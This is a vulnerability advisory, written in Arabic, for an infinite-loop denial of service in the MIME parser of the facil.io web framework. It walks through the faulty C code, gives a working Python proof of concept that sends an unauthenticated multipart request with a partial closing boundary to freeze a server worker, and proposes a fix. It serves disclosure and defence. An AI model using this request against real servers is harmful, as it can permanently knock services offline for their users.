
استشارة أمنية: حلقة لا نهائية تسبب رفض الخدمة في محلل MIME الخاص بـ facil.io (حدود جزئية)
معرّف CVE المعيَّن: CVE-2026-66730
المنتج: facil.io
الإصدارات المتأثرة: facil.io >= 0.6.0 (جميع إصدارات 0.6.x، وجميع إصدارات 0.7.x، وmaster)؛ ظهرت الثغرة إلى جانب محلل MIME في الإصدار 0.6.0
المكوّن: lib/facil/http/http.c, lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-835 (حلقة بشرط خروج لا يمكن الوصول إليه)، CWE-400 (استهلاك غير مقيَّد للموارد)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
الباحث: Theodosis Paidakis
يؤدي طلب multipart/form-data ينتهي جسمه بحدود إغلاق جزئية (مثل --B- بدلاً من --B--\r\n) إلى جعل http_parse_body() تدور في حلقة لا نهائية باستهلاك 100% من المعالج. يعيد محلل MIME قيمة 0 بايت مستهلكة عندما يتعثّر عند حدود جزئية، لكن الحلقة المستدعية تتحقق فقط من . لا يتم تعيين أيٍّ من العلامتين، لذلك يستدعي المحلل على البيانات نفسها إلى الأبد. لا ينهار الخادم، لذا لا يُعاد إنشاء أي عامل. طلب POST واحد غير مصادق عليه يجمّد عاملًا واحدًا بشكل دائم.
!done && !errorهذا غير مرتبط بـ CVE-2026-41146، وهي حلقة لا نهائية في محلل JSON (fio_json_parser.h). هذا الخطأ في محلل MIME/multipart.
الجزء 1: لا يوجد حارس تقدّم في المُستدعي
lib/facil/http/http.c, الأسطر 1963-1967
// lib/facil/http/http.c:1963-1967
do {
size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
p.pos += cons; // += 0 when parser stalls
p.buffer = fiobj_data_pread(h->body, p.pos, 4096); // same slice returned again
} while (p.buffer.data && !p.p.done && !p.p.error); // neither flag set -> loops forever
إذا أعاد http_mime_parse القيمة 0 ولم يعيّن done ولا error، تبقى p.pos ثابتة، ويعيد fiobj_data_pread نفس المخزن المؤقت، ولا يوجد للحلقة أي مخرج.
الجزء 2: عندما يعيد http_mime_parse القيمة 0
lib/facil/http/parsers/http_mime_parser.h, الأسطر 314-329 وفرع consume_partial
يمسح المحلل قسم القيم بحثًا عن حدود مكتملة. عندما ينتهي الجسم بـ \n--B- (أقصر بأربعة بايتات من حدود إغلاق كاملة \n--B--\r\n)، يجد المسح \n متبوعًا بما يبدو أنه بداية حدود لكنه لا يستطيع تأكيد اكتمالها:
// lib/facil/http/parsers/http_mime_parser.h:314-329 (value scan)
do {
end = memchr(end, '\n', (size_t)(stop - end));
} while (end && ++end &&
(size_t)(stop - end) >= (4 + parser->boundary_len) &&
(end[0] != '-' || end[1] != '-' || memcmp(end+2, parser->boundary, parser->boundary_len)));
if (!end || end + 4 + parser->boundary_len >= stop) {
// partial boundary -- transition to consume_partial on first call
parser->in_obj = 1;
goto consume_partial;
}
في الاستدعاء التالي، تكون in_obj معيّنة بالفعل. يجد فرع consume_partial نفس \n قبل --B-، ثم يحرّك مؤشر الإرجاع إلى الخلف قبل أي بيانات غير مستهلكة:
// lib/facil/http/parsers/http_mime_parser.h (consume_partial branch, ~line 162-169)
} else if (end + 4 + parser->boundary_len >= stop) {
end -= 2;
if (end[0] == '\r') --end; // end now points before the \n
pos = end; // return pointer set behind any new data
goto end_of_data; // returns 0 bytes consumed
}
ينتهي المطاف بـ pos عند نقطة البداية أو قبلها. تُرجع الدالة 0. وبالعودة إلى المُستدعي، تكون cons = 0، وp.pos لا تتحرك، وتتكرر الدورة.
شغّل الخادم، ثم نفّذ:
# poc_mime_infinite_loop.py
import socket, time
BOUNDARY = "B"
body = (
"--B\r\n"
"Content-Disposition: form-data; name=field\r\n"
"\r\n"
"value\r\n"
"--B-" # partial closing boundary: missing final '-\r\n'
).encode()
req = (
f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
f"Content-Type: multipart/form-data; boundary=B\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body
s = socket.socket()
s.settimeout(10)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
s.recv(4096)
print("got response - not vulnerable")
except socket.timeout:
print("hung for 10s - server spinning at 100% CPU")
الملاحظة: عملية الخادم تستهلك 99.7-100% من المعالج. يلزم استخدام kill -9 للاسترداد.
العامل المتجمّد لا يخرج أبدًا، لذا لا يحدث أي استبدال. مع عدد كافٍ من الطلبات (بما يعادل عدد العمال)، يتوقف الخادم عن خدمة جميع العملاء بشكل دائم حتى يُعاد تشغيله يدويًا. لا يتطلب الأمر مصادقة ولا ترويسات خاصة ولا حالة سابقة.
أضف حارس تقدّم إلى الحلقة في http_parse_body:
lib/facil/http/http.c, الأسطر 1963-1967
// lib/facil/http/http.c:1963-1967 -- proposed fix
size_t last_pos = (size_t)-1;
do {
if (p.pos == last_pos) { p.p.error = 1; break; } // no progress: abort
last_pos = p.pos;
size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
p.pos += cons;
p.buffer = fiobj_data_pread(h->body, p.pos, 4096);
} while (p.buffer.data && !p.p.done && !p.p.error);